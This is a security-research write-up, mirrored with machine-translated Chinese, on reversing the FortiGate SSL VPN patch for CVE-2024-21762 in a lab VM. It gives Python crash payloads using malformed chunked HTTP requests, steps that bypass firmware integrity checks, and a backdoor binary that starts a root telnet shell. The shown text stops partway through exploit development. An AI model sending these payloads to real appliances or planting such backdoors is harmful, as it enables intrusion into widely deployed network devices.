Two Bytes is Plenty: FortiGate RCE with CVE-2024-21762

IoT 8个月前 admin
266 0 0

Disclaimer 免責聲明

The exploit described in this post is tailored to the exact version of FortiGate SSL VPN used for testing. It is unlikely the exploit will work on other versions. The purpose of our research is primarily to power our exposure engine. We also publish research to add more colour and help defenders.
本文中描述的漏洞利用是针对用于测试的 FortiGate SSL VPN 的确切版本量身定制的。该漏洞不太可能在其他版本上起作用。我们研究的目的主要是为我们的曝光引擎提供动力。我们还发表研究,以增加色彩并帮助防御者。

We strongly advise all Fortinet customers to apply the Fortinet-provided patch as soon as possible.
我们强烈建议所有 Fortinet 客户尽快应用 Fortinet 提供的补丁。

Introduction 介绍

Early this February, Fortinet released an advisory for an “out-of-bounds write vulnerability” that could lead to remote code execution. The issue affected the SSL VPN component of their FortiGate network appliance and was potentially already being exploited in the wild.
今年 2 月初,Fortinet 发布了一个“越界写入漏洞”公告,该漏洞可能导致远程代码执行。该问题影响了其 FortiGate 网络设备的 SSL VPN 组件,并且可能已经在野外被利用。

FortiGate is widely deployed and a pre-auth remote code execution vulnerability would have a huge impact. Our security research team immediately began work to ensure that customers of our Attack Surface Management platform were notified if they were affected.
FortiGate 被广泛部署,预授权远程代码执行漏洞将产生巨大影响。我们的安全研究团队立即开始工作,以确保我们的攻击面管理平台的客户在受到影响时收到通知。

In this post we detail the steps we took to identify the patched vulnerability and produce a working exploit.
在这篇文章中,我们详细介绍了我们为识别修补漏洞并产生有效漏洞而采取的步骤。

We’ve highlighted the exploit chain below
我们在下面重点介绍了漏洞利用链

Two Bytes is Plenty: FortiGate RCE with CVE-2024-21762

Extracting the Binary 提取二进制文件

Unfortunately, we were only able to obtain versions 7.2.5 and the latest which was 7.2.7 of the appliance. This meant the delta was larger than we would have liked, but it would have to do. We set up two VMs, FGT_VM64-v7.2.5.F-build1517 and FGT_VM64-v7.2.7.M-build1577 and confirmed they worked with trial licenses.
不幸的是,我们只能获得设备的 7.2.5 版本和最新的 7.2.7 版本。这意味着三角洲比我们想要的要大,但它必须这样做。我们设置了两个 VM FGT_VM64-v7.2.5.F-build1517 和 FGT_VM64-v7.2.7.M-build1577,并确认它们使用试用许可证。

We had worked with FortiGate before and knew that FortiGate bundled almost all the applications into one binary, /bin/init. To obtain a copies of the binaries we mounted the vmdks from our two FortiGate VMs into a third VM. We then decompressed and extracted the rootfs.gz archive which contained most of the filesystem.
我们之前曾与 FortiGate 合作过,并且知道 FortiGate 将几乎所有应用程序捆绑到一个二进制文件中,即 /bin/init。为了获取二进制文件的副本,我们将两个 FortiGate 虚拟机中的 vmdk 挂载到第三个虚拟机中。然后,我们解压缩并提取了包含大部分文件系统的rootfs.gz存档。

~ $ cp ./drive/rootfs.gz ./unpacked/rootfs.gz
~ $ cd ./unpacked
unpacked $ gzip -d rootfs.gz

gzip: rootfs.gz: decompression OK, trailing garbage ignored
unpacked $ cat rootfs | sudo cpio -idmv
...
unpacked $ ls
bin.tar.xz  boot  data  data2  dev  etc  fortidev  init  lib  lib64  migadmin.tar.xz  node-scripts.tar.xz  proc  rootfs  sbin  sys  tmp  usr  usr.tar.xz  var

There was an odd “decompression OK, trailing garbage ignored” message that didn’t seem to be a problem, but would cause trouble later.
有一个奇怪的“解压缩正常,尾随垃圾被忽略”的消息,这似乎不是问题,但以后会引起麻烦。

Inside the archive the bin folder is further compressed using custom versions of ftar and xz. The modified applications are provided in the sbin folder and we can use chroot to run each and extract bin.tar.xz. This gave us the copies of /bin/init we needed to compare.
在存档中,bin 文件夹使用自定义版本的 ftar 和 xz 进一步压缩。修改后的应用程序在 sbin 文件夹中提供,我们可以使用 chroot 运行每个应用程序并提取 bin.tar.xz。这为我们提供了需要比较的 /bin/init 副本。

unpacked $ sudo chroot . /sbin/xz -d /bin.tar.xz
unpacked $ sudo chroot . /sbin/ftar -xf /bin.tar
unpacked $ ls bin
acd             confsyncd        eltt2           ftk.o         init                                 lspci           ovrd        samld        speedtestd         vmtoolsd-util
acs-sdn-change  confsynchbd      extenderd       ftm2          initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  lted            pdmd        scanunitd    ssh                vned
acs-sdn-status  csfd             fas             garpd         insmod                               memuploadd      pim6d       scp          sshd               voipd
acs-sdn-update  cu_acd           fclicense       gcpd          iotd                                 merged_daemons  pimd        sdncd        ssh-keygen         vpd
alarmd          cw_acd           fcnacd          getty         ipamd                                miglogd         pppd        sdnd         sslvpnd            vwl
alertmail       cw_acd_helper    fctrlproxyd     grep          ipamsd                               mingetty        pppoed      sepmd        sysctl             wa_cs
...

Patch Diffing 补丁差异

We decompiled each /bin/init binary with Ghidra and used BinDiff to compare. Unfortunately, the version difference was too big and we decided it would be easier to manually look for differences.
我们使用 Ghidra 反编译了每个 /bin/init 二进制文件,并使用 BinDiff 进行比较。不幸的是,版本差异太大,我们认为手动查找差异会更容易。

We started by looking at the HTTP parsing functionality. Historically, there have been memory corruption issues in this part of the code and so it seemed like a good place to start. We searched for strings of common header names such as Content-Length and Transfer-Encoding as well as paths we knew were associated with the SSL VPN component like /remote/login.
我们首先看了一下 HTTP 解析功能。从历史上看,这部分代码中存在内存损坏问题,因此这似乎是一个不错的起点。我们搜索了常见标头名称的字符串,例如 Content-Length 和 Transfer-Encoding,以及我们知道与 SSL VPN 组件关联的路径,例如 /remote/login。

We would look for each of these strings in both versions and then try to line up the functions to see if there were any changes. Function names were stripped, but log messages often included the function name, this proved very helpful. We slowly looked through these functions and where they were called, labelling and comparing where we could.
我们会在两个版本中查找这些字符串中的每一个,然后尝试对齐函数以查看是否有任何更改。函数名称被剥离,但日志消息通常包含函数名称,这被证明是非常有帮助的。我们慢慢地浏览了这些函数以及它们在哪里被调用,标记和比较了我们可以的地方。

We found FUN_01701ee0 which appeared to handle parsing HTTP requests that used chunked transfer encoding. The patched version of this function contained some additional length checks and error messages. The relevant original and patched versions are shown below. Comments and function names have been added where possible.
我们发现FUN_01701ee0似乎可以处理使用分块传输编码的解析 HTTP 请求。此函数的修补版本包含一些额外的长度检查和错误消息。相关的原始版本和修补版本如下所示。在可能的情况下添加了注释和函数名称。

The first check is added when processing the HTTP trailers sent after the chunked body.
在处理分块正文后发送的 HTTP 尾部时,会添加第一个检查。

// unpatched
while (1 < iVar3) {
    param_1->field649_0x2d0 = 4;
LAB_0170216e:
    iVar3 = FUN_01707e10__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);

// patched
while (1 < iVar3) {
    // new check ensuring we have read less than 1024 bytes so far
    if (0x400 < param_1->amount_read) {
        uVar7 = 0x6cf;
        pcVar6 = "%s: %d invalid chunk trailer: too long\n";
        uVar5 = *(undefined8 *)(param_1->field1_0x8 + 0x170);
        goto LAB_0170c82d;
    }
    param_1->field649_0x2d0 = 4;
LAB_0170c346:
    iVar3 = FUN_01712050__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);

The second check is added when decoding the length of a chunk.
第二个检查是在解码块的长度时添加的。

// unpatched
iVar3 = FUN_01707e10__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;
param_1->amount_read = lVar6;
if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {
            iVar2 = FUN_01701e30_hex_decode(pbVar2);
            param_1->chunk_length = iVar2;

            if (iVar2 == 0) {
                ...
            } else {
                ...
            }
            ...
            goto LAB_017023e6;

// patched
iVar3 = FUN_01712050__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;
param_1->amount_read = lVar6;
if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {
            iVar2 = FUN_0170c000_hex_decode(pbVar2);
            param_1->chunk_length = iVar2;

            // new check ensuring the hex encoded chunk length string is less than 17 bytes
            if (lVar6 < 0x11) {
                if (iVar2 == 0) {
                    ...
                } else {
                    ...
                }
                ...
                goto LAB_0170c5d6;
            }

            // new error message
            uVar7 = 0x691;
            pcVar6 = "%s: %d invalid chunk length string\n";
            uVar5 = *(undefined8 *)(param_1->field1_0x8 + 0x170);
LAB_0170c82d:
            // example of a log message containing the function name
            FUN_0177a950_log(uVar5, 8, pcVar6, "sslvpn_ap_get_client_block", uVar7);
        }

Finding an Endpoint 查找端点

This was promising, but we still didn’t know if it was exploitable. We couldn’t determine how to reach this function through static analysis. Instead we turned on debug logging and started sending chunked requests to some of the known endpoints. Debug logging was enabled with the following commands.
这是有希望的,但我们仍然不知道它是否可以利用。我们无法通过静态分析确定如何达到这个函数。相反,我们打开了调试日志记录,并开始向一些已知端点发送分块请求。使用以下命令启用了调试日志记录。

diagnose debug enable
diagnose debug application sslvpn -1

Every endpoint we tried logged the error chunked Transfer-Encoding forbidden. Searching for this string we found the function that logged the error. The error was only logged when the function was called and the second argument was 1.
我们尝试的每个端点都记录了错误分块 Transfer-Encoding forbidden。搜索此字符串时,我们找到了记录错误的函数。仅当调用函数且第二个参数为 1 时才会记录错误。

if (param_2 == 1) {
    FUN_0176fa00_log(
        *(undefined8 *)(param_1->field8_0x8 + 0x170), 8,
        "chunked Transfer-Encoding forbidden: %s",
        param_1->field334_0x180
    );
    iVar1 = (-(uint)(__nptr == (byte *)0x0) & 0xb) + 400;
    goto LAB_01701c4f;
}

We checked all the call sites for this function and worked backwards from the ones that called it where param_2 was not 1. One of the calling functions contained a helpful log message and the function name, default_handler. All this time we had been looking for a specific endpoint, but we didn’t consider no endpoint!
我们检查了此函数的所有调用站点,并从调用它的站点向后工作,其中param_2不是 1。其中一个调用函数包含有用的日志消息和函数名称 default_handler。一直以来,我们一直在寻找一个特定的端点,但我们并没有考虑没有端点!

Triggering a Crash 触发崩溃

We knew two checks were added in the patch.
我们知道补丁中添加了两个检查。

  1. The amount of data read before getting to the chunk trailers had to be less than 1024 bytes.
    在到达块尾部之前读取的数据量必须小于 1024 字节。
  2. The chunk length string had to be less than 17 characters.
    块长度字符串必须小于 17 个字符。

We wrote a Python script to start prodding the endpoint with different chunked requests focusing on these two aspects. The parsing was surprisingly resilient, the amount of data read was always kept within the allocated buffer. We tried chunk lengths that would decode to negative integers, but these immediately terminated the parsing. Many other malformed requests were also handled gracefully.
我们编写了一个 Python 脚本,开始使用不同的分块请求来刺激端点,重点关注这两个方面。解析具有令人惊讶的弹性,读取的数据量始终保持在分配的缓冲区内。我们尝试了可以解码为负整数的块长度,但这些长度立即终止了解析。许多其他格式错误的请求也得到了妥善处理。

Luckily, we did eventually get a crash with the following payload. A zero-length chunk indicating the end of the request body, followed by 89 chunk trailers. Weirdly neither of these seem to violate the new checks as we understood them.
幸运的是,我们最终确实遇到了以下有效载荷的崩溃。一个长度为零的块,指示请求正文的末尾,后跟 89 个块尾部。奇怪的是,这些似乎都没有违反我们所理解的新检查。

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0\r\n"
data += b"A: X\r\n"*89

Setting up a Debugger 设置调试器

To investigate the crash we had to setup a debugger. However, the management shell provided can’t run system commands or access the filesystem. We would have to backdoor one of the existing binaries. This meant bypassing some integrity checks performed during startup. The checks were performed by the kernel during the boot process and by /bin/init shortly after. We will start with /bin/init because the checks there were easier to bypass.
为了调查崩溃,我们必须设置一个调试器。但是,提供的 Management Shell 无法运行系统命令或访问文件系统。我们将不得不为现有的二进制文件之一开后门。这意味着要绕过启动期间执行的一些完整性检查。这些检查由内核在引导过程中执行,并在不久之后由 /bin/init 执行。我们将从 /bin/init 开始,因为那里的检查更容易绕过。

Patching /bin/init 修补 /bin/init

We searched for the string rootfs.gz and found a function (FUN_028af770) that loads an RSA key then reads rootfs.gz and some other files. This was most likely the integrity check we were looking for.
我们搜索了字符串rootfs.gz,并找到了一个函数 (FUN_028af770),该函数加载 RSA 密钥,然后读取rootfs.gz和其他一些文件。这很可能是我们正在寻找的完整性检查。

pRVar2 = d2i_RSAPublicKey((RSA **)0x0,(uchar **)&local_140,0x10e);
if (pRVar2 != (RSA *)0x0) {
    iVar1 = FUN_0286b790("/data/rootfs.gz","/data/rootfs.gz.chk",param_1,pRVar2);
    if (iVar1 == 0) {
        iVar1 = FUN_0286b790("/data/flatkc","/data/flatkc.chk",param_1,pRVar2);
        bVar6 = iVar1 == 0;
        goto LAB_028af802;
    }
}

We tried to trace this function call backwards but hit a dead end. Instead, we decided to look from the other end and searched for the string “System is starting” which is printed to the console during startup. Just after “System is starting” we saw a block that Ghidra didn’t disassemble.

00452b36 bf 46 16        MOV        EDI=>s__System_is_starting..._02ce1646,s__Syst   = "\nSystem is starting...\n"
         ce 02
...
00452b57 e8 74 9e        CALL       <EXTERNAL>::reboot                               int reboot(int __howto)
         fe ff
                     -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
00452b5c 31              ??         31h    1
00452b5d ff              ??         FFh
00452b5e e8              ??         E8h
00452b5f 8d              ??         8Dh
00452b60 e0              ??         E0h
00452b61 fe              ??         FEh
00452b62 ff              ??         FFh

We forced Ghidra to disassemble this block and found some function calls which led to the integrity check above.

This block also contained FUN_00451440 which was called when the integrity checks failed. FUN_00451440 contained a log message with the function name do_halt. The decompiled block is shown below with the important calls commented.

void UndefinedFunction_00453c11(void)
{
    int iVar1;

    FUN_00450830(1);
    FUN_004539e0();
    FUN_00452f80();

    iVar1 = FUN_004515c0();
    if (iVar1 != 0) {
        FUN_00451440(); // <- do_halt
    }

    iVar1 = FUN_00451610();
    if (-1 < iVar1) {
        FUN_00451440(); // <- do_halt
    }

    iVar1 = FUN_0286a5b0();
    if (iVar1 == 0) {
        iVar1 = FUN_00451570(); // <- Check rootfs.gz
        if (iVar1 == 0) {
            FUN_00451440(); // <- do_halt
        }
        FUN_028b0100();
    } else {
        FUN_02957580();
        iVar1 = FUN_00450280("/bin/fips_self_test");
        if (iVar1 == 0) {
            FUN_00451440(); // <- do_halt
        }
    }
    ...

Since do_halt was called multiple times, we patched it to just return immediately. This way we only had to make one change instead of modifying multiple integrity checks.
由于do_halt被多次调用,我们对其进行了修补,使其立即返回。这样,我们只需要进行一次更改,而不必修改多个完整性检查。

The do_halt function was changed from this
do_halt功能从这里更改

00451440 55              PUSH RBP
00451441 be a1 05        MOV        ESI=>DAT_000005a1,0x5a1
         00 00
00451446 bf e0 23        MOV        EDI=>s_do_halt_02ce23e0,s_do_halt_02ce23e0       = "do_halt"
         ce 02

to this. 对此。

00451440 c3              RET
00451441 be a1 05        MOV        ESI=>DAT_000005a1,0x5a1
         00 00
00451446 bf e0 23        MOV        EDI=>s_do_halt_02ce23e0,s_do_halt_02ce23e0       = "do_halt"
         ce 02

After patching the instruction in Ghidra we used this helpful script to save our changes back to the binary.

Kernel Debugging

The other check we needed to bypass was done by the kernel. Reading extlinux.conf from our mounted vmdk we could see the kernel boot arguments and the name of the kernel image: flatkc.

drive $ cat extlinux.conf
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz maxcpus=1 mem=2048M

Using vmlinux-to-elf we converted flatkc to an ELF file and decompiled it.

There were more symbols here, so we searched for functions containing the word verify. We found fgt_verify_initrd, which was called by kernel_init_freeable returning the value from fgt_verify_initrd. This can be seen below.

undefined4 kernel_init_freeable(void)
{
    ...
    uVar2 = fgt_verify_initrd();
    ...
    return uVar2;
}

In kernel_init we saw that if zero is returned the system boots, otherwise it panics.

undefined8 kernel_init(void)
{
  int iVar1;
  undefined8 uVar2;
  
  iVar1 = kernel_init_freeable();
  if (iVar1 == 0) {
    ...
    iVar1 = do_execve(uVar2,&PTR_s_init_ffffffff8160f160,&PTR_DAT_ffffffff8160f040);
    if (iVar1 == 0) {
      return 0;
    }
    if (iVar1 != -2) {
      printk(&DAT_ffffffff813cc830,s_/sbin/init_ffffffff813cc654,iVar1);
    }
  }
  panic(s_No_working_init_found._Try_passi_ffffffff813cc870);
}

Patching this check seemed too difficult. Instead we opted to attach a debugger to the kernel and just change the return value coming back from fgt_verify_initrd.

To do this we added the following to our VM’s vmx file, enabling remote debugging on port 12345.

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.hideBreakpoints = "TRUE"

We then started GDB, set a breakpoint on fgt_verify_initrd and attached to our VM shortly after starting it.
然后,我们启动了 GDB,在 fgt_verify_initrd 上设置了一个断点,并在启动后不久将其附加到我们的 VM。

(gdb) file flatkc.elf
Reading symbols from flatkc.elf...

(gdb) b fgt_verify_initrd
Breakpoint 1 at 0xffffffff8170a3cd

(gdb) target remote 192.168.1.197:12345
Remote debugging using 192.168.1.197:12345
0xffffffff80c77cae in memmap_init_zone ()

(gdb) c
Continuing.

When we hit fgt_verify_initrd we exited from the function with finish and changed the return value in rax by running set $rax = 0.
当我们点击fgt_verify_initrd时,我们退出了带有 finish 的函数,并通过运行 set $rax = 0 更改了 rax 中的返回值。

Breakpoint 1, 0xffffffff8170a3cd in fgt_verify_initrd ()
(gdb) finish
Run till exit from #0  0xffffffff8170a3cd in fgt_verify_initrd ()
se0xffffffff81708fcf in kernel_init_freeable ()
(gdb) set $rax = 0
(gdb) c
Continuing.

Unfortunately, the system still did not boot. After some debugging, we tracked it down to a function called populate_rootfs. This function took the data loaded from rootfs.gz and passed it to unpack_to_rootfs to be decompressed.
不幸的是,系统仍然没有启动。经过一些调试后,我们将其追踪到一个名为 populate_rootfs 的函数。此函数将从 rootfs.gz 加载的数据传递给unpack_to_rootfs进行解压缩。

// DAT_ffffffff8180d070 contains the data loaded from rootfs.gz
if (DAT_ffffffff8180d070 != 0) {
    lVar3 = (DAT_ffffffff8180d068 + -0x100) - DAT_ffffffff8180d070;
    printk(&DAT_ffffffff813cd148);
    lVar2 = unpack_to_rootfs(DAT_ffffffff8180d070,lVar3);

To calculate the length of the data to decompress 0x100 is subtracted. This was that “trailing garbage ignored” warning we saw earlier!
要计算要解压缩的数据长度,请减去0x100。这就是我们之前看到的“尾随垃圾被忽略”警告!

This meant our repacked archive was not being decompressed correctly because it was 256 bytes shorter than expected. We figured 256 bytes was probably a signature that we would ignore anyway, so we just padded our modified archive with zeroes.
这意味着我们重新打包的存档没有被正确解压缩,因为它比预期的短了 256 个字节。我们认为 256 字节可能是一个无论如何我们都会忽略的签名,所以我们只是用零填充了修改后的存档。

We now had the following repacking script which would be run from the unpacked rootfs folder.

echo "Recompressing bin"
sudo chroot . /sbin/ftar -cf /bin.tar /bin
sudo chroot . /sbin/xz -z /bin.tar
sudo rm -rf ./bin

echo "Repacking rootfs"
sudo find . -path './bin' -prune -o -print | sudo cpio -H newc -o > "../rootfs"
cat "../rootfs" | gzip > "../rootfs.gz"

echo "Adding trailer"
dd if=/dev/zero bs=1 count=256 >> "../rootfs.gz"

We prepared the following backdoor program which would kill sshd and run telnetd instead. This would replace /bin/smartctl and has been used in previous FortiGate vulnerabilities to get easy shell access.

// compiled with gcc -g main.c -static -o smartctl-backdoor

#include <stdlib.h>

void shell() {
    system("/bin/busybox ls");
    system("/bin/busybox id");
    system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");
}

int main(int argc, char **argv) {
    shell();
    return 0;
}

We copied everything we needed into the unpacked rootfs folder as follows.

  • init-patched overwriting ./bin/init
  • smartctl-backdoor overwriting ./bin/smartctl
  • gdb from here to ./bin/gdb
  • busybox statically compiled and copied to ./bin/busybox

We then unlinked ./bin/sh and relinked it to ./bin/busybox.

unpacked $ rm -rf ./bin/sh
unpacked $ ln -s /bin/busybox ./bin/sh

This was then repacked into rootfs.gz and copied onto the vmdk.

We booted the VM, modified the return value of fgt_verify_initrd with GDB and were finally able to login to the management shell.

The failing integrity checks caused some issues with the saved networking settings. We found running the following commands forced a new DHCP lease and got things working.

# config system interface
(interface) # edit port1
(port1) # set mode static
(port1) # end
# config system interface
(interface) # edit port1
(port1) # set mode dhcp
(port1) # end

We then ran the command that would trigger our /bin/smartctl program. The ls and id command output was printed, which was a good sign.

# diagnose hardware smartctl
bin        dev            lib           node-scripts    sys
boot       etc            lib64         proc            tmp
data       fortidev       migadmin      root            usr
data2      init           new_root      sbin            var
uid=0 gid=0

Lastly, we connected with telnet to the device on port 22 and could start debugging.

$ telnet 192.168.1.229 22
Trying 192.168.1.229...
Connected to 192.168.1.229.
Escape character is '^]'.

/ # busybox id
uid=0 gid=0
/ # busybox ps | busybox grep sslvpnd
 3844 0         0:01 /bin/sslvpnd
 4247 0         0:00 busybox grep sslvpnd
 

Dissecting the Crash

It took a while, but we could now attach a debugger to /bin/sslvpnd and try to triage the crash we triggered. Looking at the registers we could see 0x0a0d had been written over the start of r12 resulting in a segfault when it was dereferenced.
这花了一段时间,但我们现在可以将调试器附加到 /bin/sslvpnd,并尝试对我们触发的崩溃进行分类。查看寄存器,我们可以看到0x0a0d在 r12 的开头被写入,导致在取消引用时出现段错误。

Program received signal SIGSEGV, Segmentation fault.
0x000000000182a544 in ?? ()
1: x/i $rip
=> 0x182a544:   and    BYTE PTR [r12+0x10],0xfd
(gdb) i r
rax            0x0                  0
rbx            0x0                  0
rcx            0x7fcdc21dda18       140521701759512
rdx            0x1                  1
rsi            0x0                  0
rdi            0x7fcdc21dd058       140521701757016
rbp            0x7ffeb2bdb750       0x7ffeb2bdb750
rsp            0x7ffeb2bdb730       0x7ffeb2bdb730
r8             0x1                  1
r9             0x7fcdc2006418       140521699828760
r10            0xffffffff           4294967295
r11            0x7fcdc7532240       140521789137472
r12            0xa0d7fcdc20548c0    724375636776667328 <- 0x0a0d over the start of this pointer
r13            0x7fcdc2054800       140521700149248
r14            0x0                  0
r15            0x10014dbaf          4296334255
rip            0x182a544            0x182a544

0x0a0d is the \r\n terminator used for HTTP headers and trailers, but even if we changed our request to only use \n we still got this same crash. We set a breakpoint after the call to our potentially vulnerable function FUN_01701ee0. Inspecting the call stack and registers at this point we could see the clobbered value. However, it was a few stack frames away.
0x0a0d 是用于 HTTP 标头和尾部的 \r\n 终结符,但即使我们将请求更改为仅使用 \n,我们仍然会遇到同样的崩溃。我们在调用可能易受攻击的函数FUN_01701ee0后设置了一个断点。此时检查调用堆栈和寄存器,我们可以看到混乱的值。然而,它离我们只有几帧距离。

Breakpoint 1, 0x0000000001813696 in ?? ()
1: x/i $rip
=> 0x1813696:   test   eax,eax
(gdb) x/20gx $rbp
0x7ffeb2bdb6d0: 0x00007ffeb2bdb720      0x0000000001828e8d <- frame #1
0x7ffeb2bdb6e0: 0x00007ffeb2bdb6f0      0x00007fcdc21dda18
0x7ffeb2bdb6f0: 0x00007ffeb2bdb720      0x0000000000000000
0x7ffeb2bdb700: 0x0a0d7fcdc20548c0      0x00007fcdc2054800 <- 0x0a0d
0x7ffeb2bdb710: 0x0000000000000000      0x0000000100155467
0x7ffeb2bdb720: 0x00007ffeb2bdb750      0x000000000182a540 <- frame #2
0x7ffeb2bdb730: 0x000000000bf96140      0x000000000bf96140
0x7ffeb2bdb740: 0x0000000000000000      0x0000000000000000

The clobbered value was being popped off the stack into r12 just before returning to 0x182a540. The crash then occurred a few instructions later at 0x182a544.

A buffer on the stack was used to process the chunked request, but this 0x0a0d overwrite was quite a bit past that and also skipped over the stack canaries in between.

undefined8 FUN_01813660(long param_1)
{
    astruct *paVar1;
    int iVar2;
    undefined8 uVar3;
    long in_FS_OFFSET;

    // buffer used to read from connection
    undefined local_2028 [8200]; 
    long local_20;
  
    paVar1 = *(astruct **)(param_1 + 0x2e0);

    // stack canary
    local_20 = *(long *)(in_FS_OFFSET + 0x28);

    do {
        // chunked processing function that was patched
        iVar2 = FUN_01701ee0(paVar1, local_2028, 0x1ffe);
    } while (0 < iVar2);
...

After some debugging we found where the 0x0a0d was being written. When processing the trailers in FUN_01701ee00x0a0d was written to the stack buffer at an offset that incremented each time.

param_1->field654_0x2d8 = param_1->amount_read;

// check space remaining in the buffer
while (1 < iVar3) { 
    param_1->field649_0x2d0 = 4;
LAB_0170216e:
    
    // param_1->ap_read_dest_buf_2f8 is set to the stack buffer "local_2028" in the enclosing function
    iVar3 = FUN_01707e10__ap_getline(param_1->ap_read_dest_buf_2f8, iVar3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 1);
    if (iVar3 < 1) {
        iVar3 = FUN_016f8800(*(undefined8 *)(param_1->field1_0x8 + 0x28));
        if (iVar3 - 1U < 5) goto LAB_01702310;
        break;
    }

    iVar3 = param_1->remaining_buf_size_2f0;
    lVar6 = param_1->field654_0x2d8;
    iVar2 = (long)(iVar3 + -1);

    // offset doesn't equal remaining space - 1
    if (lVar6 != iVar2) {
        param_1->field654_0x2d8 = lVar6 + 1;

        // write 0x0d
        param_1->ap_read_dest_buf_2f8[lVar6] = 0xd;
        lVar6 = param_1->field654_0x2d8;
        param_1->field654_0x2d8 = lVar6 + 1;

        // write 0x0a
        param_1->ap_read_dest_buf_2f8[lVar6] = 0xa;
        iVar2 = param_1->field654_0x2d8;
        iVar3 = param_1->remaining_buf_size_2f0;
    }

    // calculate remaining space in buffer
    iVar3 = iVar3 - (int)iVar2;
    param_1->amount_read = param_1->amount_read + iVar2;
    param_1->ap_read_dest_buf_2f8 = param_1->ap_read_dest_buf_2f8 + iVar2;
    param_1->remaining_buf_size_2f0 = iVar3;
}

With each trailer encountered the following would happen:
遇到每个预告片时,都会发生以下情况:

  1. The trailer was read into the buffer on the stack.
    拖车被读入堆栈上的缓冲区。
  2. 0x0a0d was written into the buffer at the offset stored in field654_0x2d8.
    0x0a0d以存储在field654_0x2d8中的偏移量写入缓冲区。
  3. field654_0x2d8 was incremented by two.
    field654_0x2d8增加了 2。
  4. The buffer was advanced. 缓冲区已提前。
  5. If there was still space in the buffer, another line of input would be read.
    如果缓冲区中仍有空间,则将读取另一行输入。

The offset used to write 0x0a0d wasn’t properly checked against the remaining buffer length and so only 0x0a0d could be written past the buffer. All the incoming data was constrained to be within the buffer.
用于写入0x0a0d的偏移量未根据剩余缓冲区长度进行正确检查,因此只能写入0x0a0d缓冲区。所有传入的数据都被限制在缓冲区内。

Interestingly the offset is incremented by two each time and also used to advance the buffer. Because the offset is not reset the following would happen, assuming a buffer size of 15:
有趣的是,偏移量每次递增 2,也用于推进缓冲区。由于偏移量未重置,因此假设缓冲区大小为 15,将发生以下情况:

- trailer # 1 -
offset = 2
write 0x0a0d at buffer + offset (2)
advance buffer by offset, buffer = 2
check remaining (13)

- trailer # 2 -
offset = 4
write 0x0a0d at buffer + offset (6)
advance buffer by offset, buffer = 6
check remaining (9)

- trailer # 3 -
offset = 6
write 0x0a0d at buffer + offset (12)
advance buffer by offset, buffer = 12
check remaining (3)

- trailer # 4 -
offset = 8
write 0x0a0d at buffer + offset (20) - writes past the end
advance buffer by offset, buffer = 20
check remaining (-5) - terminate the loop

Since we are advancing both the buffer and offset, we get a scenario where the buffer is nearly empty and the offset is much larger than the remaining space. This would explain why none of the canaries triggered, we can go past the buffer, but only to write 0x0a0d.
由于我们同时推进缓冲区和偏移量,因此我们得到一个缓冲区几乎为空且偏移量远大于剩余空间的情况。这可以解释为什么没有金丝雀触发,我们可以越过缓冲区,但只能写入0x0a0d。

A Better Crash

Trying to control where we wrote 0x0a0d using this approach was difficult. We decided to track down the starting value of field654_0x2d8, if we could start with it much higher we would need to send fewer trailers and not have to worry about the incrementing offsets.

The value of field654_0x2d8 was copied from amount_read just before trailer processing. Looking at amount_read we found it was set during chunk length processing.

iVar3 = FUN_01707e10__ap_getline(param_2, param_3, *(undefined8 *)(param_1->field1_0x8 + 0x28), 0);
lVar6 = (long)iVar3;

// amount_read set to the length of the retrieved line
param_1->amount_read = lVar6;

if (0 < lVar6) {
    if (lVar6 < param_1->remaining_buf_size_2f0 + -1) {
        ppuVar4 = __ctype_b_loc();
        pbVar2 = param_1->ap_read_dest_buf_2f8;
        if ((*(byte *)((long)*ppuVar4 + (ulong)*pbVar2 * 2 + 1) & 0x10) != 0) {

            // line is hex decoded to get the chunk length
            iVar2 = FUN_01701e30_hex_decode(pbVar2);

The chunk length preceding the trailer processing always needed to be zero as that was how the parser knew the request body was finished. Looking at the hex decoding function, it started by skipping all leading ‘0’ characters.

ulong FUN_01701e30_hex_decode(byte *param_1)
{
    byte *pbVar1;
    byte bVar2;
    ushort **ppuVar3;
    ulong uVar4;
    ulong uVar5;

    bVar2 = *param_1;
    while (bVar2 == '0') {
        pbVar1 = param_1 + 1;
        param_1 = param_1 + 1;
        bVar2 = *pbVar1;
    }

This meant we could pad our chunk length with many zeroes, ap_getline would return a large value for amount_read, the chunk would still be decoded to zero and trailer processing would begin. We modified our request to the following, replacing the terminator for the chunk length with a null byte which was also allowed by the parser.

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4133 + b"\0"
data += b"A\r\n\r\n"

We set a breakpoint where the 0x0d was written when processing the trailers and ran our exploit.

Breakpoint 4, 0x00000000017021b8 in ?? ()
1: x/i $rip
